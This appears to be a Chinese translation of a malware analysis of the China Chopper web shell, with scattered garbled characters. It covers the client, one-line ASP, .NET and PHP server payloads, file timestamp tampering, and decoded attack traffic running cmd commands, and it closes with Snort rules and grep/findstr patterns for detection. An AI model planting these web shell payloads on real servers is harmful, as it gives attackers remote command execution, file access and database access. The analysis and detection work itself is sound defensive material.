Web Shell客戶端:
中國(guó)菜刀的客戶端可在www.maicaidao.com下載到夹攒,
Web shell (CnC) Client ? ? ? ?MD5
caidao.exe ? ? ? ? ? ? ? ? ? ?5001ef50c7e869253a7c152a638eab8a
客戶端使用UPX加殼宇色,有220672個(gè)字節(jié)大小,如圖1所示:
圖1折联,使用WinHex工具查看
使用脫殼工具脫殼,可以看到一些隱藏的細(xì)節(jié):
C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2011
UPX 3.08w ? ? ? Markus Oberhumer, Laszlo Molnar & John Reiser ? Dec 12th 2011
File size ? ? ? ? Ratio ? ? ?Format ? ? ?Name
-------------------- ? ------ ? ----------- ? -----------
700416 <- ? ?220672 ? 31.51% ? ?win32/pe ? ? decomp.exe
Unpacked 1 file.
使用PEID(一個(gè)免費(fèi)檢測(cè)軟件使用的加殼手法的工具)于游,我們可以看到解壓縮后的客戶端程序使用Visual C + + 6.0編寫麸折,如圖2所示:
圖2 PEID顯示程序所用語(yǔ)言
因?yàn)樽址疀](méi)有進(jìn)行編碼钠糊,所以可以通過(guò)打印輸出該后門如何通信睬澡,我們可以看到一個(gè)url google.com.hk(圖3),以及參考文本Chopper(圖4)
圖3 打印字符串refer www.google.com.hk
圖4 菜刀的客戶端二進(jìn)制文件參考文檔
打開(kāi)中國(guó)菜刀界面眠蚂,我們可以看到該工具是一款圖形界面工具煞聪,并且提供了添加自己的目標(biāo)、管理的功能逝慧,在客戶端軟件上昔脯,右鍵單擊選擇“添加”,輸入IP地址笛臣,以及密碼和編碼方式云稚,如圖5所示
圖5:中國(guó)菜刀客戶端界面
服務(wù)端payload組件
中國(guó)菜刀的工具是一款Webshell管理工具,相應(yīng)必然有一個(gè)服務(wù)端的程序沈堡,它支持各種語(yǔ)言静陈,如ASP、ASPX、PHP鲸拥、JSP拐格、CFM,一些官網(wǎng)下載原始程序MD5 HASH如下:
Web shell Payload MD5 Hash
Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499
例子如下:
PHP:ASP:<%evalrequest("pass")%>
.NET:<%@PageLanguage="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
在實(shí)際使用過(guò)程中刑赶,替換PASS為鏈接的時(shí)候需要的密碼捏浊。
功能
上面簡(jiǎn)單介紹了中國(guó)菜刀的客戶端和服務(wù)端的,下面來(lái)介紹下該款工具的其他功能撞叨,中國(guó)菜刀包含了“安全掃描”功能金踪,攻擊者能夠使用爬蟲(chóng)或暴力破解來(lái)攻擊目標(biāo)站點(diǎn),如下圖:
在除了發(fā)現(xiàn)漏洞之外牵敷,中國(guó)菜刀最強(qiáng)大的莫過(guò)于管理功能了胡岔,包含以下內(nèi)容:
1、文件管理(文件資源管理器)
2枷餐、數(shù)據(jù)庫(kù)管理(DB客戶端)
3靶瘸、虛擬終端(命令行)
在中國(guó)菜刀的客戶端界面中,右鍵單擊一個(gè)目標(biāo)可以查看相應(yīng)的功能列表尖淘,如圖7:
文件管理
中國(guó)菜刀作為一個(gè)遠(yuǎn)程訪問(wèn)工具(RAT),包含了常見(jiàn)的上傳著觉、下載村生、編輯、刪除饼丘、復(fù)制趁桃、重命名以及改變文件的時(shí)間戳。如圖8:
修改文件功能現(xiàn)在常見(jiàn)的webshell就帶了該功能肄鸽,圖9顯示了測(cè)試目錄的三個(gè)文件卫病,因?yàn)閃indows資源管理器只顯示“修改日期”字段,所以通常情況下典徘,能夠達(dá)到隱藏操作的目的:
使用工具將文件修改和其他兩個(gè)文件相同蟀苛,如圖10,可以看到文件的修改的日期和其他兩個(gè)文件一致逮诲,如果不是專業(yè)的人士帜平,一般不會(huì)看出這幾個(gè)文件的區(qū)別:
當(dāng)文件的創(chuàng)建日期和修改日期被修改之后,查出異常文件非常麻煩梅鹦,需要分析主文件表MFT以及FTK裆甩,fireeye建議使用工具mftdump來(lái)進(jìn)行分析,該工具能夠提取文件元數(shù)據(jù)進(jìn)行分析齐唆。
下表顯示了從MFT中提取的Webshell時(shí)間戳嗤栓,注意"fn*"字段包含了文件的原始時(shí)間。
Category ? ? ? ? ? Pre-touch match Post-touch match
siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48
siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56
siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48
siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56
fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01
fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03
fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42
fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04
數(shù)據(jù)庫(kù)管理
中國(guó)菜刀支持各種數(shù)據(jù)庫(kù)箍邮,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等茉帅,數(shù)據(jù)庫(kù)操作界面叨叙,內(nèi)置了一些常用的數(shù)據(jù)庫(kù)語(yǔ)句,能夠自動(dòng)顯示表名担敌、列名摔敛,查詢語(yǔ)句,并且內(nèi)置了常用的數(shù)據(jù)庫(kù)語(yǔ)句全封。如下圖11:
鏈接之后马昙,菜刀提供了一些常見(jiàn)的數(shù)據(jù)庫(kù)語(yǔ)句,如圖12:
命令行功能
最后刹悴,菜刀提供了一個(gè)命令行界面行楞,能夠通過(guò)命令行shell進(jìn)行操作系統(tǒng)級(jí)別的互動(dòng),當(dāng)然繼承的權(quán)限是WEB應(yīng)用的權(quán)限土匀。如圖13:
Payload屬性
除了以上的功能之外子房,中國(guó)菜刀的能夠在黑客圈廣泛使用,還有以下幾個(gè)因素:
1就轧、大小
2证杭、服務(wù)端內(nèi)容
3、客戶端內(nèi)容
4妒御、是否免殺
大小
中國(guó)菜刀的服務(wù)端腳本非常小解愤,是典型的一句話木馬,其中aspx服務(wù)端軟件只有73字節(jié)乎莉,見(jiàn)圖14送讲,相比其他傳統(tǒng)的webshell可見(jiàn)它的優(yōu)越性。
服務(wù)端內(nèi)容
中國(guó)菜刀的服務(wù)端代碼除了簡(jiǎn)潔之外惋啃,并且支持多種加密哼鬓、編碼,下圖是aspx的服務(wù)端代碼边灭,
客戶端內(nèi)容
在瀏覽器不會(huì)產(chǎn)生任何客戶端代碼异希,如圖16:
殺毒軟件檢測(cè):
大多數(shù)殺毒軟件不能檢測(cè)出該工具。如下圖:
平臺(tái):
web服務(wù)器平臺(tái)——JSP, ASP, ASPX, PHP, 或 CFM绒瘦。同時(shí)在Windows和Linux適用宠互。在系列一的分析里面已經(jīng)展示過(guò)“中國(guó)菜刀”在windows 2003 IIS 中運(yùn)行ASPX的情況。在這一部分里椭坚,講展示運(yùn)行在Linux平臺(tái)下的PHP情況予跌。如下圖所示,PHP版本的內(nèi)容極其精簡(jiǎn)善茎。
依賴與不同的平臺(tái)券册,“中國(guó)菜刀”有不同的可選項(xiàng)。下圖顯示了在Linux平臺(tái)下的文件管理特性,(類似于Windows)
下圖顯示了在MySQL下其數(shù)據(jù)庫(kù)客戶端例子烁焙,(對(duì)Linux目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)管理)
如下圖所示航邢,虛擬終端命令行也長(zhǎng)得很像。但是使用Linux命令而不是Windows命令
上傳機(jī)制:
由于它的大小骄蝇,格式膳殷,以及簡(jiǎn)單的payload,“中國(guó)菜刀”的傳輸機(jī)制可以很靈活多樣九火。以下任意一種方法都可以進(jìn)行傳輸
通過(guò)WebDAV文件上傳
通過(guò)JBoss jmx-console 或者Apache的Tomcat管理頁(yè)面上傳
遠(yuǎn)程代碼執(zhí)行下載
通過(guò)其他方式接入后傳輸
通訊分析:
我們已經(jīng)看過(guò)它在服務(wù)器端的payload以及控制web shell的客戶端赚窃。接下來(lái),我們檢查一下“中國(guó)菜刀”的通訊網(wǎng)絡(luò)流量岔激。我們通過(guò)抓包軟件勒极,分析其服務(wù)端和客戶端的通訊情況,如下圖所示虑鼎,客戶端在80端口上辱匿,以HTTP POST方式通訊。
利用抓包軟件Wireshark的“follow the TCP”功能可以看到整個(gè)TCP數(shù)據(jù)交互過(guò)程炫彩。如下圖所示匾七,上面紅色部分為攻擊者(客戶端)POST提交控制命令的內(nèi)容,下面藍(lán)色部分為被控端返回結(jié)果
從圖中可見(jiàn)攻擊控制代碼經(jīng)過(guò)Base64編碼江兢,我們利用Web調(diào)試器Fiddler的TextWizard功能可以輕易解碼昨忆,看看攻擊者到底發(fā)送了什么。(注意%3D是URL編碼划址,實(shí)際上是“=”)Fiddler需要這個(gè)轉(zhuǎn)換一下扔嵌。
其攻擊payload的編碼情況如下如下所示
Password=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
使用Fiddler的text wizard功能將其base64解碼為明文限府, 如下圖所示
解碼后的數(shù)據(jù)如下所示:
varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z1"])));
vare=newSystem.Diagnostics.Process();
varout:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;c.RedirectStandardError=true;
e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z2"]));
e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());
上面這段代碼的意思是使用base64解碼存儲(chǔ)在z1夺颤、z2這兩個(gè)參數(shù)中的數(shù)據(jù)。接下來(lái)我們來(lái)查看z1與z2對(duì)應(yīng)的值胁勺。
注意下面加粗部分參數(shù)z1與z2:
&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
base64解碼參數(shù)對(duì)應(yīng)的值世澜,如下所示:
z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]
其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]署穗。該操作的意思就是執(zhí)行cmd命令寥裂,列出當(dāng)前用戶與當(dāng)前目錄,執(zhí)行結(jié)果如下所示:
->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-
檢測(cè):
now菠净,我們知道中國(guó)菜刀的流量通信的特征寂汇,可以利用網(wǎng)絡(luò)或主機(jī)級(jí)別的防護(hù)軟件檢測(cè)這種惡意通信葱弟。
網(wǎng)絡(luò):
可以利用Snort編寫規(guī)則檢測(cè)中國(guó)菜刀的流量,能夠輕松的捕獲到異常數(shù)據(jù)诺舔,Keith Tyler在他的博客中給出了一個(gè)基本的IDS規(guī)則:
alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)
為了減少誤報(bào),我們將該段規(guī)則修改了下,只檢測(cè)數(shù)據(jù)包內(nèi)容中包含F(xiàn)romBase64String以及z1低飒,如下:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg: "China Chopper with first Command Detected";
flow:to_server,established; content: "FromBase64String";
content: "z1"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000101;)
以下規(guī)則更進(jìn)一步優(yōu)化许昨,以下規(guī)則在數(shù)據(jù)包中查找FromBase64String,并且利用正則表達(dá)式匹配z后面任意一到三的數(shù)字組合褥赊,如Z1糕档、Z10、Z100等拌喉。
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg: "China Chopper with all Commands Detected"; flow:to_server,established;
content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000102;)
這些IDS特征都可以進(jìn)一步優(yōu)化速那,OK,我們了解了網(wǎng)絡(luò)層面如何檢測(cè)中國(guó)菜刀數(shù)據(jù)包司光,接下來(lái)介紹下如何通過(guò)主機(jī)級(jí)別的檢測(cè)發(fā)現(xiàn)該數(shù)據(jù)包琅坡。
主機(jī):
在Linux上最快最簡(jiǎn)單的方法查找中國(guó)菜刀,可以利用egrep+正則表達(dá)式識(shí)別被感染的文件残家,如下:
egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php
egrep+正則表達(dá)式是一個(gè)強(qiáng)大的組合榆俺,國(guó)外安全研究者Ian Ahl編寫了一些正則表達(dá)式教程,如下:
另外坞淮,Window提供了一種方法茴晋,通過(guò)findstr命令加上正則表達(dá)式搜索文件。如下圖:
可以看到在Windows上正則表達(dá)式與linux略有區(qū)別回窘,如下:
findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php
以上命令是查找PHP shell诺擅,如果要查找ASPX shell,只需修改正則表達(dá)式即可啡直,如下:
egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx
如果你要查找一些隱藏的PHP或ASPX文件烁涌,可以使用dir命令來(lái),如下圖:
dir /S /A /B *.php
Findstr還可以搜索子目錄:
findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php